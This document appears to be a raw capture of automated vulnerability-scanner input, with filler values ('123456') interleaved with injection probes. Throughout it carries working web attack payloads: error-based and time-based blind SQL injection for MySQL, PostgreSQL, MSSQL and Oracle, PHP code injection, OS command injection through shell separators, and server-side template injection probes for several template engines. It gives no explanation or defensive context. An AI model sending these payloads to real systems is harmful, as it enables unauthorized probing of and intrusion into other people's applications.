TWR01

123456

123456

123456

123456

123456

123456

123456'and/**/extractvalue(1,concat(char(126),md5(1883992198)))and'

123456

123456

123456"and/**/extractvalue(1,concat(char(126),md5(1125608158)))and"

123456

${@var_dump(md5(269946298))};

123456

extractvalue(1,concat(char(126),md5(1630253281)))

123456

'-var_dump(md5(957573590))-'

123456

123456'and(select'1'from/**/cast(md5(1959036908)as/**/int))>'0

123456

123456

123456/**/and/**/cast(md5('1904999498')as/**/int)>0

123456

123456

convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1706890820')))

${923898828+803379125}

123456

123456

123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1652052071')))>'0

123456

123456

123456鎈'"\(

123456

123456

123456'"\(

123456

123456

123456

123456 expr 955529633 + 998056033

123456

123456

123456

123456|expr 809141549 + 887382847

123456

123456

123456$(expr 879897140 + 856367905)

123456

123456

123456&set /A 864204908+879747793

123456

123456

expr 912769329 + 956792937

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

123456

/*1*/{{827844435+912215268}}

123456

123456

${944908176+946506632}

123456

123456

${(890738214+982850002)?c}

123456

123456

#set($c=920383765+810860745)${c}$c

123456

123456

<%- 958101339+951921111 %>

123456

123456

123456

123456

123456

123456

123456

123456

123456/**/and+0=0

(select*from(select+sleep(0)union/**/select+1)a)

(select*from(select+sleep(2)union/**/select+1)a)

123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

123456'and(select+1)>0waitfor/**/delay'0:0:0

123456'and(select+1)>0waitfor/**/delay'0:0:2

123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('h',0)

123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('s',2)

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('o',0)='o

123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('c',2)='c